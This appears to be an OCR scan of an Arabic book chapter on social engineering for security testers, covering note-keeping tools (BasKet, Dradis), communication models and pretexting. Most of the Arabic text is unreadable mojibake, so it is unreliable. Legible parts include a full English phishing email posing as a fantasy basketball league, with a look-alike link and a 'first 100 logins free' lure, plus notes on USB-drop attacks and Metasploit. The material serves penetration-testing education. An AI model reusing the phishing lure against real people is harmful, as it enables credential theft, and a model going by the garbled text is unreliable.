£j| J-JI <> a^j^^ J ^jjj ^__> J^j- J . 1950 c> £jIj^ ^ ^j www.forum.com J^ & 

.www.stampcollection.com 00 ^JJ J S-^J 2 ^] sajLSjIj c_i.j__.VI Jc £_^ ^.J .W*^ u' ^ J^ 

^UilU ja.1 ^.Vnrtl t ; uI^aH (j-a ._._=. J jj c ,% n^> . jjjUII ^j^a j__i ^ > ^VM ^jAjJaJ ^jl _lijj tg-ili 6L_fl^Jl Jj 4_\_ jj-£Jj <JIjujj lS^J^ U' c)^ 

J .www.forum.com J^ ^ <j-ala-ll jj---11 ^-^j .s- 3 ^ 6 L£ ,J ^ jaj 6 j^---^ ^W---*" .cJ^Jt a_)_jIa <L<_II__aj 

___j|j3l (ill J^j^ cj' J-^ *j U__g_4 el ii£ lil 4£jjuj (^^Jc £ii ^ ^^ic 1 IgJ jjj^ ^3 e 60j 1950 

6 jUc. jUaVI I^a .CiijiiVI ^^ic (malicious frame) ^uj^ J^ 3 ) uj^> c^- - * ^—^^ .-^^j^^ 

L_fl^Jl JJ jJJ^H j^-^- SjlaJjaJi ^^JaxJj jjjlfjai£j Clljjjj] gaiLo ^ (illijl Aij jst_xJl t 0- t Jallj <j!>lijjaj| l^jLuj Cf^^J ^ J^^ 

laJa o ^jljlkl ^aJ ^aJ (j>»J iajljll ^^^ic J^JLj ^ali ^jjJ^JVI ^^>^^ cJ^-^^ ^^JjojI ^J2waJ L— ;!>bjia jUajjVI (jSj ^3 

?^ahVimVI j-Q ^5 jILolq cJ^-^V dlLo j1s«_a3I j£ <jujj^2 j (jj j^Jj cilj^Qj 

^jjj Uui t^JjjllakJ ^a^kjuj ^1 ^jLiai ^2*. i . ul a 4^jLulxi > nj ^jjjUII (j^J ttilLiA 4_iC.Uua.VI Cjli-Jjulll ^1 j>» ^j-d ^H-^ 

,(JjS (ci (j-<i Ijal jj* 6J^-- , UJ-^ ^ ciiUi jls«-<» ^ j^-j 

j djLd ^ls«_x_!l £<_a. jl 6^L_____. ^(JaslII ^.^Lij c_r~^" ^^JJ '^^---- a ' J ^^) jaJ ^) (J^^ ^ LS^" ^ ^ ^1.^1 ml C--j£ 

Ja.AJI <jl Jc cijxj* Warm leads ^ ^--^ " warm leads" U IjfU^ q\ cjU_uJI ^jai<i1 tl^jj 

^JjIaslII £a cJj-- 3 ^ J--W (Jj3 L_jU3I Jc (J ______ A_Jjujj 4 J^y-^-l Jl 

(j£_I j 6 JLoJJ V fjgC\ ^I^VI ^JjJ.V^ ^____SU .(JjC>l <UaVl UJ u1 '^M (j-* 4J H^* 1*1 Ullc. L_jbt_Ux_!l ^j-LLd JjS ^ 'La^Vun^l L_j|jl^_x_!l 

t__J_ ^l-___lajlj ^aj_U ^aJ 6 Jl__Jl <_£ ^ ^jC L__Lg jIslxJI £lx_a_L ^ajli L-jl X-UaII L_J J-iLd _4j_^l___<_!l ft^A ^ jl_W j J__.l^ CjUi jl*-<_l! j^Sl J J^_J 

^j-ajc 4t___i Jj 4iL___VUj J j-^-JU ^U_ju_!Ij ^LqIuj^U ijajc j_£l ^j^aJ! "t_i_^_l" U-^^ 1 cl>^ J^^J ^ L - J ^ j-*-*^ 

CjU_l__!l J^l__. j-Q .JJ.JaJ! t-_9_^_l \l±uu* (Ja__J CjUjJ^ L_3j-_L<i 

^jl c *°^^^ ^-uijj tAilVI ^ l-__jqLj t4___!l JjJ <jl <>— Jlsti L_J jLojVI .djj_-__9 ajla ^JjjJaC. J 4_i~c l^l-___lajl _Ujj jl! 4-i>.>u_j3l 
J , ^lAX-l j L_J j-_U_!I Q±2 _la JJ U» Sole* jll 6 J^JI ^_3j3 Jjo_>£ ^jij ^UaC-jj t^cl ^'i^VI (JJJ.Vlg ^^1 jl 6L_jbt_Ux_l! L_J J-Ux» £xi <_^l JL j*_lj 

J jljjj L__ jjuJ 

(jl Jc (JA ^-___1u-X_\| ^~J> >> j__| Jj SO ^SlI! ^Ixill ^l-___lajVI ^ J ^__! ^LlA^I djli LI J jll £lx_a. *^C>1 (JJjV^ ^ 

djl jIjj-___UI j 6-UaJl j-ll Cllli CjLa-l-x-ii c fll un^l A_)i£ ^jc cJ^ ^^>S l_ua ^Uall (jj^J JJ tSl^lallS ^j^U-iaVl (Jjj V^ ^ll 
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(j* j *uL-^ o^cli .alAaJ uAj AjUj .aJJ . o <J^1<J| -( Jju>ij L_fl jjoj ,li£U3lj c *^ u1 (J-^ <*-J lij .cJ3^ jlx-xill £-<^ 

^a^J (j-sabk cJ^^ ^31 j CjIj^VI ^5^* (3^^ .^^W^^ 6 ^ ^1 j^l> alj ^a^. J o^cLoiaII CjIj^VI ^J,Asl!I jJ 

.U^-i* J£ <sujjuj s jhi <JU3I ^JalLJI .BasKetj Dradis ^ j jl*-^ 

Basket 



http://basket.kde.org 

J ^ BasKet s^j^ . J^-^i ^ J . ^Uij ^ ^Notepad U^^j J BasKet 

(j-djVl <Jjj jUJl jjj jiilb <LLaUJ ^ jij dAiliJ AiLiaV tilli j ^J^. "BasKet" ^il^aV .I^qI,^ "ml J^Jl c> J 6 C5^^^ J^JI c> 

.New Basket j^-^j ^^31 c> j^Vl s^WJl ^ 
jj| jl (JjjjSjI (jjj^ 1 g j' 6<jujLaJI cial ^>'q^ AiLjalj tdjULnll ^jj^lj ^cjoij sj .New Basket j^^-^ ^^>?^ 

j^joij djU» ^a^. s-UjI l^lo jiic cjUUJI ^ilajlj (ill ^joij BasKet ilj^VI ^ Ia c^-ijUJI ^ jjoj^IIj Jajl^iJI 



BA^krt edit Qo Note T«0» Insert 5ettino» Help 



Qu 

Tempotilry 



Qlog Poit Orefti 



L* Plt«r 



E) f Ji 



to fo»t 
, j CO«/t3V»* la buy 

*^ ku«aett«d Uooks 
* ApplK«tion» 
B OW«b Ouotes 
tj) !•>*«» 
Oiirumrnt«tian« 
M BASH fommdtiili 
l mux Config 
V X«I in Mill Howto 
V.. People 
: Cj, P-roiettB 



»M!Ml knipet* 
^M«lh Lee*on 

^Tnpto Peril 
* A Archive* 




2 frcdi='i'«crntt eg 
<£J lohn»lrilctnrt.oro 

IH i- .■! .1 I— - org 



I I hv«tiybotly da Jl chxptor 

( 1 We merge everything 

\_J V Spellche<k end other check* 

The graphic * 



I propane Ihoir loloti lor Ihr llllr» In Ihr documn 
| #002Cbf 



ff W!. l Jfl«dl« org 



1 Phyticel cherectenttici 

2 Ecology end behaviour 
9 Reproduction 

A Conservation status 

5 Miscellaneous 

6 Further reading 



OpenUffice.org Writer 



The Introduction (by Fred): 



jjjj]! ^5 (>j new Basket uajVi o^jUJI jJj ^ Sjj^l l^V-l .(jj-UI c> JJa ^ ^ screenshot 

J new Basket ^ c^J^ c> 5Jal^ cl^ cjtk^U! .paste ti> 
(j-ci ^ jj (JSl <a3ik-<i Basket t *°j 1 u ^ ^ A^l^ Jc ojl^Jalj cjULiJI CjL^ lP 3 ^ J ^-^j^ 3 '^'^ Basket ^ 
jjj^JI (j^asu ialiiilV Google Earth j5 <J^- j^- -^^j^> unU ^ jSLoj tcilli Asu .Ij^ ^ j •^L^Lai^n JajLoj jll »Whois ^^y^ 
djUi jlst-xJI (j>» s^lilujVl j cJ^^ ^ ( ; ^ >>1 6j^lS (Jj^j j .Basket J <^Ui£ l^jj^^j ^ j 

Dradis i 



http://dradisframework.org 



https://www.facebook.com/tibea2004 
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£^ Jl ^-Ui^_a (jjjill J bl jl tdjUi jIslxJI ^ ^ J ^ <Lilac. sbl ^a BasKet el) -0 ^ 

iQj&lA (Jjijulill A AiaJl £1a^J S J jILg SbVI .jjj^ iklLoi^l ^joj CjLg J*_a3I ~ i ul Sol ^ujjj abVI Cilia tdjULiJl ^I^JjojIj (jj^^Jj 

m\a\\ aIa^LujI jl IiajLL L— lq3 ^ill ^ai<JI j J^ ^11 L-fljjjaxJI Jj <J jll (jy Ja 4-^^*^! ^ lal > njj tilj^xj ^Dradis ^^^^ 

.https://localhost:3004/ j j«a <> $M .3004 jL^I 

« O O dradis v2.7.2 

J (A) dradis U + L 



C^ J) 1 [ Sj ] | (jS http://dradis.dev/ 



i- I import from file I ■ rj export T 

add branch c^ 3 l^il | t=1 




dradis VZ.T. 2- co nf i g u ration | logout | fcc-dback 



Uploaded fll&B 

^ I i plugin. nmap 

l> ."ill 127. O.O.I (localhiost) 

D- 192.11 ea. 49.0 

> m£| 192.1 68.49. 3 

> m£| 192.1 68.49.4 

> 192.1 68.49.5 

> »£| 192. 1 68.49. 6 
■ m£| 192.1 68.49.7 

> 192.1 68. 49. a 

> »£| 192. 1 68.49.9 
I> m£] 192.1 68. 49.1 0 
[> .m0\ 192.1 68.49.11 
l> Mfj 192.1 68.49.12 
I> m£| 192.1 68.49.1 3 
l> h£| 1 92. 1 68.49.1** 
» «El 192.1 68.49.1 5 

c=3rj 1 S-2. 1 68.49.16 
t 192.1 68.49.1 7 



.^S) add note | |g =J note categories T c£^? 



Summary 



j Category: 



u It category 



Wha:'s Lp wi LI- the: i^jsic? ; ^o-c ] 
—I Category: Nmap output 



127.0.0.1: HosTiames: ['localhosr. Hocalhost 
127. O.O.I: Hostnarnes: ["localhosf, localhost 



Title 

What's up with that music? 

Description 

1 . one 

2. two 

3. three 

http: i / www .gooale.com 

Crede n t j als 

User 

testl 
test2 



Password 
abcl23 
def4 5 6 



Find a Node 



Import note . . 



I 3 



tilliA (jn^nl jl c jjALj ctilUi < u,^u>n ^ill Jjxjujill ^Uaj <jl£ Li .cjUUJI j ^-<^J ^>ikiujj djl j^l L*a BasKet j Dradis 
.ciAjLnll (j* fijjuS CjLia£ ^ <J-gIxj3I \ g i£ ^^ill j IgJ L^liij^ (jj^i SbVl ^1.^1 ml jA ^-<i jA L* .till AjjouIU CjljLik 



(Thinking Like A Social Engineer) ^UL^VI ch^-aJI J1a jjSISII 



^aJ ^ j Ajc^.Ij-<J ciLuoij cilj^oj c aj£ tcilli Aj«_^.lj-<i p^J Aic ^j^3 j t^xlSaC ^^^joi jjj^II j CjULiJI ^j-d Clljljl dilla ^> s>)\ 

J£ li^ (joul ^jilj ^Ic^j J diUjUl J^^jjUJ^^jJ I^j ^cfSaJl Jl Iajj UjU. du£ 

Uu3 jj^fljllj t^l^cVlj < jajla^al] ^^cUu^-VI ^j" <i]| ^^^J cAjIaI^ ^-f^-j Jj^^ 4_£Uu» .l^J^I (j^J a J ^cli3 J^ 4^l^cVlj 

l^ilc J - fl^J L_fl jjuj t flJ^j l^ilc J jj^^JI (JjL^Jjoj jll CjU» jlx>Jl 
^aJlc ^j-d L_J^)jij (jl cililc .^AjJ^aj <9J Ja ^J*^ Jj J ^ 1 ^ ^ (J^^l (j- 0 CjLd jl»_xJ! 1 ^jjjl^Jl S Ja^Jl ^>^^^ (jW'n LdAjc 

<aUaS (_^JJ Ui^iCj t^^^juj J£ L_j| j^JjojV ^aixJJ ^jl ciLlc /o^lc (iLJ (jj^ ^-<» 4_ili*J!j L-flll^xJl C^l^l ^ tiLiUil CjU» jlx-<Jl 

^j^.1 j^L^a-d (j* jl dljjljVI A^Jj^i Jc <J1ojVI ^ JaJ jll <L Jail -( ^C.Ldi^.V! (JjjA^aII J JJ^qMl ^alsu tdiUi jlx-oll 

dbuj j j^JJ 6^lj3 tdjlj^l ^ a\\ Jc C-jj^aHll . JjlixJ (jl Liajl t . la>J tilill J jsu jll CjUL^VI l^lS <_£JJ jll <L Jail , JjixJJ (jl ^ ; la>J 
c VVS Jc jjx-!l >Ajc _(Jjfl (jxi dllsta Loxi <iiik-<i <L JaJ CjLg jlx-<Jl ( . alx-iLujI t . la>J <>iL<^l (jxi (JjJ^ ^JJJ J cr^*^ ^ (c3^*^) 

<Lil^ ^ ^ A J^ CjLg jlx>Jl (j^j iajl jjl (jc L— laalLj t^qVi^ a\\ AjcUu^VI ^^IcVI lS^^ j £31 ^ •^•^1 ^^ajoaJ 



L$J^.\ cJj^ J J' 'RFID <--J^aUaJ t^JjlLJl L^^JI A£jJo3I J^a n>n <J& !H<i .L^^JI (jc J;li^l tiljfkj (jl ^OaJjoiJ <ia^.^LJ (j^J 
jiLa A-i^.jLk]| 6^_^.VI CjIj^I^ Jf^ll tilLoJ (Ja 6^LLdj-<i djUliill Aiiald ? jj^.V^l ^ > ^ ^ <aial<i cilLiA <Ja ? Jf^l cJ J^-^ 

_<^^J| 6 i^J lU^LJI a£jj^3I (jc l-L^j U *^lc ^1 j^JI c fljj^j CjI^ j jl Ailkll Cjbl^l 



https://www.facebook.com/tibea2004 
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m <Aj <j^aLaJI CjU» ^^JaxJj J;}^! ciLiLt-l] (Jj^-V dlS^j CjU» jlx-<Jl (Jjl^Jj <juj!j^ ^aJ (j-aj ^J^-^ J j^Loal J ^Lfl (Jj^ . ^ 
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801 



(SOCIAL ENGINEERING TECHNIQUES) ^cUb.VI h^3i dluZ 9.2 



L_fl jjuj (jV! .4_AkLalt JjJa CA (jjujl 3 i u jJg It a t jAJjujI (j^J t flJ^j ^ > » jJg II ^JAIA-o 1 fllla a UjujSIj j£l 4(jVI <^5^ 

,^aLkjoiVI (j-G (j^j 1 g <ot jj CjVL^jVt (jc t*i wt< jjuj t ja u^j ,q ^VI 4_jujjj3.lt djLijij (jijaLj 



(Communication Modeling) cjVU^VI 



4s.!>L_x_t cJaVl (JojjI (Jjj (Jc-li_.il ^^liaj* CjVIj^jVI .^>-->l -^-Ij '--^ jkall <J^ 4_i1ac <jc ajLc j& <Jj*_al jlill 

jl JjLI, J jjS l__ja j_*_j jl jl^aVlj jcLSuJIj jlSaVI jjkj ci_L» jkoll JjIj- c_11ja < :< ua (JjaIajI cl_Ij 4jUr. Ia jtiicL l$JI jk_j ^jl 

J tfc_4jlLjLa L__jA <JxilL L&Jjl CjVLc_ajVI J Qllajjlalt ^jl jA (j_alj!__VI fit m > »iL tAjC-Ldl^Vl <LujJJ£JI ^ flJ^jJtllS l^. 4jLjLg j& ^ jgq^t IjA 

{jgk (JL-La jkall £j^aj 1 g J-AJ ^1} 4_lLaC j& <JL_£__VI .tiljluj-a L__jA (j^kl CjVLc_ajVI ^1 1---Lujt ^^A 4jcl aJ^yi 4uujJJ£_-I L__J£_-I (jl (jJA 
.(Jjuj^oll (Jsl9 JjJJ <_-Ja*Jj 4_Luj^)1I ^ilLoJl ^.jjh ^1 _k_Luj jll (_>iasu ^)JC ^ilLoJl Jl (Jjuj^aII (JjS Ig-flJ^ jjj 1 $J-U*J ^aJ j^j 4^3^" 
^jljujll <Ja-£-I jlill ^J JA_ JJjk_l LjuAjujI CjVIj^jVI .(J Audi jlgAj tA-LuJJ 4 (JjuJ^G lI^Lc-SuVI J^-jl ^J^T* L 

Jc L__ j_i jll <L^)ia (JjJaSlj 4^Jjou11 <9J^)Ia JjJaSl ^^^ic U^cLaaJ ^<~A ^j t< ^ ^< ^aLkj| JU^jVI j-<^ 

t (J..<iuu3 3JLojj (JjJafll j 

JiLd hqtil jjiC. (JjLoj j iilUA j tdi jj^II j lAjlsc.] j 6^a^£Jl Ji* tA-ix-djaj <JjLuj j cilLiA ^qVi^ ^ VI^joiI AaJJ ^j) (j^J CIjVIj^jVI 

Uiajl -C5 liL<Jlj <Jjoij>J! 4_j^3 IajI^ CjVIj^jVI t^c-l j^l o^*^ J JU ^ *^ . t —^ , ^l J - ^ ^^-^ c^JJJ^ A-i>.>iL>.»VI ^cl Ja\\ 

<! ^ laxJ Q^u^ Cj^. IajIj ^>^J t — S jj^J j .Ajj^^joJI ^jliaJl £>i& bliLajl c qVi-s a cJ^^ J^^^ J Jua ^J '^J^f^ 1 ^> -^Jj 6 ^J^ ^J^>^ 

l^a!>lc.t jt Ajj^kjaJt ti& ^t (jjjUlt j^.Jll ^LojuJt ^a^C jt ^Uuaill _<j A > <al A-ilac j <^Lolq 4jJ ^.t jjuj Aa. q^^j! j£ 

diVl^it ^ U£ .A-U^kjjJt <^LouJt J j^ J jUJ t*Lli tiaAJ ^t ^ U (j^>^ ui ^t Jj^at jlilt Ale /ojJJ^ (J-at jxJ IsUJ (jj^J ciLuaaj 

^jj'q^l J j^J lPj^I c)*^ j^t -C5 J^a^uuj3t ^LqjA Vt/^ qjq^lt J^Liil t^LouJt j^.t q^LA ( . J jU^j ^ilt j Ajc.L<Li^.Vt *Lajli^Jt 

^jjj lilli cJ*^ 1 ^ 1^1 j (jjjUlt l— lAaJ ti^ j tdj^lclililt ^J^^ ^ ^v^J ti^ .(J^ry^t ^ > >it J ^ A-ilixJt 4aL.ua] t ^ ^J^^lt ^jLaui 

4_i3 

>vj jjjJtj ^ laillt ;l^JLujjt ^JJ JjLoj^)3t ^j-d U.V<*. ^JJ 4_L^kjaJt CjVL^jVt cJ^^ (jg& 
^gic ^jjaj o^lc 4Jt La£ .Igic jjf*jlt jt 64jjJ^xlt t4i jial<Jt 4-^KJt cilli <jl£ ^t jjuj tAillt jt ^ hqllt * j^Jt ^^ic o^lc Jj^at j!l3t ^jjaj 
# Ja jlaiJt jt jj-^^t (JlLd Aillt jjiC. ^^ic JjLuj^)3t (J^axJ jt t^m^lt 4jl! 64a jit djtjjlisu ^ JlolxJt ^ J^*Jt ^3^^ 
^ \ gl1 ^1 O^J ^ CjVL^jVt 4^3^" cJLuo^)] ^aJJ ( ^ laillt JJC- jt ^ laillt^ CjtjLujVt (j-d ^* jj L>^H 

^^atlxJt {Ja. Jj^jftJ _4^^A-S\ JJ.>.>jj t^JJ L_fl jjuj (illi ^^ic ^Ljj tl^J ^tj ^t jjluJj ^ J^i-d cJ^^ t — * J^ .^u^kjujJt l^Jtitj J^-^- 

^^lujt ^ jl£ tit U L_fl^)su L_fl jjuj (Jjuj^yJt .(Jjuj^Jt oAj^aflj Li jA (JjjJ ^g-i* ^lt ti^ jl (^^a ;lAllst_xi ciL£ij t^JJ 4ili 4JLuj^)3t 

.^jLqVI jaJl ^ (jUj^Jt jt IgJjjS Jt ojLuj^U CjVL^ajt 4-ftja. C5 5tUlt p.Uact J!>a ^ tSlli j U^jjj ^ill JjjUL 4^ jaJl 

^ <JLuj Jt Je ^qV^lt J»^j UAje .Uuj ^>Jt jj^V^ j' ^jj^l J ^LJ£3t : JluijVI JHAi (> Jlu> 4-4>JI 

6 jjxiVt oi^ J£ 64-ijt^. jit 6t _bJalc. t^jj^^. iMf uj t^^^uuj ^-t j-G (jja. ^t^ J J^ C-Ja .tdli jJ->.>ij 4_iii£ Jc Axilsu 6jJj£ J-dt jC .l^ij 

.4_ILujj3t dIa tila Je U^Lujj jjuj jjj^allt Jll csj^Vt CjtjLujVt tilli^j 

^jjjli^ CjLc. j JjJjL (jj^J tdiij t fl^t tilt j^j JjjJul 4_llai3 J;li-!tj 2 jUaUi 4_!asL!t ^ J£ ^-UacV (jj^J (jl ( ; lAj ^^LduAVt (jjjU^xJt L-SA^ 

Li Jj^t jiilt ^j-d 4j.t.nL.nVt Jet jilt (J^axj J-*^ J .4jc1 ^i^yt 

.4aUj ^ilt Jlo ^Lu^Vt/ jJ^ilt/^t jit ^ cilLiJ C5 SH*II j] jliieVt J tjjt ^uJaJ V - 
,4j>i ^jla^iJt ^jl£ C^ilt jAilt Jc 4JLuJ^)3t jJjujjjJ ^ajL L_fl jjuj ^llxJt ^j! jLjC-Vt tjjt ^jJaJ V 

.JjJA^i ^^^uuJ ^ISlk. Ci^ul CjVL^iVt - 
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.(JL-ajV! J ^jj^jUjjj ^iitLk-d (j^aLkjuil <ilU& q\ A alia &3I ^La^J! ^j^xJI 4il Lajta ^jlajjal 

(The Communication Model And Its Roots) ^VU^VI ^jaj 

4I947 ^ ^ jLj jj j jjjUi j jK ^Ui^VI JjS l^LJaj] ^ 4_iUxJI .(communication process) J-^VI 

." the mother of all models" ^4 'jkj uj^ t^j 

t^atlxJl t^Lja hl\ ;SU£3l tojLujVI 4(Jjoj^)>JI ;4JLuj^)ll tdiLa j kax ^a&LLa Ajui^j" tU^iJj^jj] taSj t^Jj QjjLjd j-aj 

#c ^JU3l <J£juJI J J^ ^ ^)^J UJ^-*^ 1 




U Jl^ J ^ji^J! jl djUjkJI Jl^j jj ^Lj (transmission model) jVI ^L cJjj*_a3Ij t-ki^ ^o^j 

0 jlll iaHj .CllLa <jL£Lol!j (jLoJjV ALjuJ j£ CjVIj^jVI ^>fi*J <UaLoUJ Cilia Jlj^J^U tiljlobG ^ 1^ J I jll (JjuJ^JI 

•<jjjLuui Jp lift 4 Kj j ; ^li jAjj ^j^jLi 

,<Itjai^)3l ^clli tdiUi jls«-xJl jAj^-g 

?<JLujj3I (j! ^Lijijll J£U^ 

^^^cLal^VI (Jjj oJt ^ jLuJI (3^- ^^c-Uu^Vl (Jjj <oJt aJ£ L_fl^JI 

SMCR JL^aiiVl j-aj ^Uijjj jLj jjjUil dVl^aj^J C5^^l ^ David Berlo ^ 15 ^ ^ 

. J\ J^L r l5 SMCR .(Sender-Message-Channel-Receiver) 
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: jpI jilt CjLjIula Aj^j l^i^j Jll j cjU jkJl JL 4^1ap tgjL (CjVU^VI jAalil dll^j 

. jj^^lj CjLg!>13l13 4_1xujj^)3I (j-ajL^a^Jl 

(jiiA j& La£ ; JL^ajVl j-aj jjjiaiL ^la a! <LLoJI ^-1 jsVI ^jAxJI cj j^kJI < ; ul^j 'DC Balmund ' cLl^U 2008 J 



Sonrop 




Receivers 



<jl (j^J ^a^l <J*-^I ^ J^J .(J^^ L>* J ^ UJ-^ clA^ ^SlLall j dl jj^II cJ^ 1 J jl ' jJ^iS jl <ULai^)3l (JJ^J 

Visual iaJJ 

U' ^ .(solid communication model) J-^VI jjj^j ^ ^Ul^VI ^Luj cjL^jVI ^ JJ^jj jjj ^aJI 

n-*Vl^ j j IgJ <JxalxJ ^31 <L^)]a3l (J^ 3 ^ <Jak jjjlaj ^lsu .<il3i 4 j£ aJ £1a^J| (j£J j Ja^S ^iC-Uu^Vl (JJ'^g <^l L^_Lo >l^lLuaJ 

Asu J£ ^ ^Ul^VI (Jjj^-a3I oikL q\ c j£aj ^ill U JjUl ^HiJ t*Lli t^j&l ^Loj^JI c_jUi3l 11a ^ j^j^ i& 



(Developing A Communication Model) cjVU^VI £^jaS jjjIsj 

.I^L^jj ^jj jjoj c _^j3I diVU^ajVI jl cjLg jIslaII j^jl^q c _^cU»l^.VI (JjjH^-a3I ;(Source) j^^-aJI 

.^xiLoull ^jjL ^ ^ :(Channel) S^2l 
bC5 S1u1I Jl aJj^j jl ^jjj U iSLujjll (> jjSVi * jaJt Ujj :(Message) jll 

e L_a^JI 11a :(Receiver) Jffintati 
?JUi J£oij Jj^I jSlI f4^±* axj Ijkij jl ^jjj liU :(The Feedback) ^Ua^!iA 

(j-d U^l ^ cJ-^l J > ^V^l ^ ^-^1 diVU^ajVI ^3lc J J jVI D J^aaJl ?Jlxi jj^alixJl ^al^klojl lil&aJ < flj£ 

;AJC>I <Li^.VI <jojA^J| ^ j jaJ (j>i 1^3^' UJ^ C5^^J ^^1 jJjllljaJl 

gil l jai^L jl ^U^l a! jU^ ciUi j ^jjiJa jA\ 50~25 lj^Iujj ^11 j (phishing email) J^^^ ^^1 j ^ j 

t ^lKiui (jl jlkV 4\n^ j| j£| Jc. fC jlaaj ^31 j cJ-^l ( -~J^-C-^ cJ^-^- ^J^?^ J^* dijj^VI a£jjoi Jc 

JjIIJI ^UaV <SjU^ J 4c_fllj l^jjg Ajjlill S jjjJI l^L <^Ualj JjIUI J^ JUl^Vlj lU*11 ^1 j^j 

.Ajjlill ojjjuJI ^..11 <^uy jj j^£3l jl^a. J USB j;lj^V ^ ^UjJU 
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^Jl aJLojjII JI^jU dbaS jll <±A\£> JjSj J\ j& <jj\Ua\\ 4jU n>iVl ?s j^j^ll ^j U :(Feedback) ^Ua^L 

. JLjS^VI Au-flSlI JjUj Jajl J J& 

fll^A VI (jc ^(^j l!^ ^j*^ u' ^b^- .dy^ J " * J cA* jl*-*!! ^a^. CjIjI^ 4ja (Jj^j j& 11a ; (receiver) J^Sluu^JI 

?^£|j3 d£j J liU A\ Aj^jV) (>» gUiac! <J& ?CjUVI jl JjSill (>» lJUlII J ^fc ?4_jJabj3l L-l^J 

Jit <!Lujj3I ^ jj La jj£J c _^cU»l^.VI j" oJt ^cLaaj l_a jjoj <SlmVI *>i& Jc <jL^.VI ?Ljuj ji-j^aVI jl Ljuj j^VI ?Cj!>IjIc. 

.tgJLudjlj ^aj5J L_fl jjoj 

lJI^aVI 6<LoJI 6j£ J JJS ^UuaI <LAc 40 25 j**^ c> s-JLJI J ^] :(Message) 

J (phishing email) J^n^-VI \j>^n11 JjLujj Cjljji^jll jj£I ^ j di^ .1^ ^j^l cjU!^ j ^XgYI j j^JI 
-c ^jjjj£3j ^jjj aJLojj ^jj^luj tgji ILju^q l-ajxj tdiV 4(J^joj j*l jj^aixJI 11a ^^ic ;(Channel) SUU) 

(phishing email) c^^VI JiU«j ^t^a^b : JjSft jipj^ft 
dii^ .45 & j£ u? jj^ u j^&* 45 ^VjA ^ mi 24 .45-25 ^ ^ c> 45 ^ 

J^Lk ^> ciUi ^3^1 ^ .^j ^UJ! cjILSIII (www.myfantasybasketballleague.com) ^^Ji u j^^^u 

c> cAiiL g^^j cJ^ikl cjli ja j twww.myfantasybasketballeague.com ^ ^a£Ljj ja lJ^JI 

;'"»."< U3 Jj Ui f JjjjilVI ^jjJI ^t;< 

Hello, 

We have some exciting news at My Fantasy Basket Ball League. We have added some additional features 
that will allow you more control over your picks as well as some special features. We are working hard on 
offering this to all of our members but some additional service fees may apply. 

We are excited to say that the first 100 people to log in will get this new service for free. Click this link to be 
taken to the special page, click the gray LOGIN button on the page, and log in to have these features added 
to your account, www.myfantasybasketballeague.com 
Thanks, 

The MFBB Team 

SjIaJjuJl jxJU till ^ajujJ Q\ \ £ \\ ni £yz A-iaLjaVl CjI j;L<Jl (J^axJ UjJ L_flLjal j .<LaJl Sj£ (_£JJ^ J SjAaII jlikVl (J^su UjJ 

Jj i-^Wai -jj] Jajljll 11a ^Jji jijl .UL^d D^J^JI ^Ld^Jl D^A Jc I jL gaaJ L_fl jjoj ^jjlk^J L_fl jjoj ^ ui 100 <Jj^ (jj J J^*^ jj lrt/>N ^ 

. t^U uiaJ AiLjaAll CjI JjIaII J j^^ll j t4^q>^l Jc J j^^ll Jj> >>n jjll (jjfl jlil t4 i^aLaJ) 4^q>^l 

www.myfantasybasketballeague.com 

;Ij£juj 

MFBBtija 
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^jVt C5 ic- ^jjj^iyi ^jjJi 11a <jt 

.Ll_a_* o^j^JI ci_t j-bcJt ai& l_jj^)^j3 <U jl^-a ^Jt (j-<i ^'qV^t j -lajt^-t ^^ic 

lP 3 ^*-^ U' UJ^J-^ f^-^ ■L^J > ^ ^ ^LiacVl 4iUj ^ ^ilt ^pa^Jl ^^ic ^jla_J 4 J jVt .^JJJj£JVI ^J^t ^ JjN*1 

I jjj^J (jt cJ^^ A ^ f& J '(j^ JJ^V^ "^L^ CS"^ J J* <aaJ) (^^--C- (jjjijjj L_fl jjoj ^-jli c__l_i_ '100 J J> cs-^* J > ^' Q J 

LLjl_al_U__J ^Jrt^ (jli 44_I__jl___ jjoj 4_l_._C.Vt (jt (j-a C-T^J ^l"^ ^ CpJJ^V^ ^L>^ f £ \* .lI**-^ (jg& 

A-I^jJj all^Vt (jjj,---£-<__t 

^ajt_i ,ll_^ jjli__JVt ^J^-t (Jj .<CjjudJ jl-U <jli^3l 4_l3 Lc_1 ^iWl j te-L^gJ! j St-U_^ ^cl jS ^^ic ^jil^J jjj£3Vt ^>Jt Ja^iLj 

, jL-ajVt £^i ^g-Sc 

USB f iJiii^ i^asn 

t^liijA jjjjj L_a jjoj Lq iaaa . jjoilixJI Jclililt ^Ac Axux-g C5 J^kjuj 4iV 4j 4^j* > *° j-^' j& ^ jft jjj^ ti& 

^a3I (jx» .(j^aiuailt (Jjoij ^^Sc 6J-a 4_xil^Jjoj| (j^J V 4iV 0j£ti3t (Jjj^lilill J£ J^^J ( ; ^ J^ 1 ^ Jj \. '"^ ^ ^ ^ 

^iltj tiL (j-aUJt USB J <^^Vt JUiioaVt < ; u£ o J jj^aaJt jjjl-kuilt t^A L_fl^Jt ; (Feedback) ^Ua^^U 

C5 ic ^ ^t f><j^ ^judj tcilli jj£t j t^Uailt C5 ic jjuJt diUiK ^-1^ C5 lc ^ jl^J ^jll SAM J jJJ^lVt ^jJt CjULuo^. j 

^t J jj^a jit till ^iL Uui 6tiL ^aLiJt ^t j^Jt ^t (J jqunVt t ■ n^^j (j^l^Jt jl^aJl ^^Juo^jJt jL^ajt ^jlaJ l^-Jl Lo£ # ^j^at jSVt ^l^p-^ 

.Social Engineering Toolkit J Metasploit j^Vt e t^L,U ^ij .^lt cUUj Wt 
^j^aLiJt a kaJt jli ttilij^il sL^ o jjc. tila^A (jlSj tit <jV uj^ t^l^j - a ^tj l^^a j ;(receiver) J^Sluu-JI 

.(jjt J^t (_3^J (jt ( ■ laJ _tiL^a^)3 (JjLd ^jC ^)iujt \jcla 4L_fl _^Jtj cdjudlt ( . UjujJ ^jt (j^J t^ ^J^JJ (J^J LoS tit (j^Jj uJt (J^axJ ^ j^. 

c _^a AjjojLojVt 3 > ^qlt ^il^ ^ j <^jjat j (Jj^j (jt ( . ia>j lillil tUj^j/bj^a^Jj <!Lojj3t JL^ajU ^ j^j c_a jjoj iAj^ j ;(Message) ^SLui jJI 

q\ ( . iaj ^jSl j jJt <jj tiljfkli .HR perSOn ^— J>^^t j jL^ajVU Clx^ CjULnlt S^clS J Jj^-a t . lllaJ U-^] C — J ^^ 1 

<jt !>liL<i (j^Jj 4-iitilt ojjjaJt (jt^aa (^ic J^j 4 - Va a L_a jjoj (iljli jf^Vt AjI^J <LtLJt <x^.tj-<Jl Vjt 4_iiti3t SjjjoJt cJ^j^ 

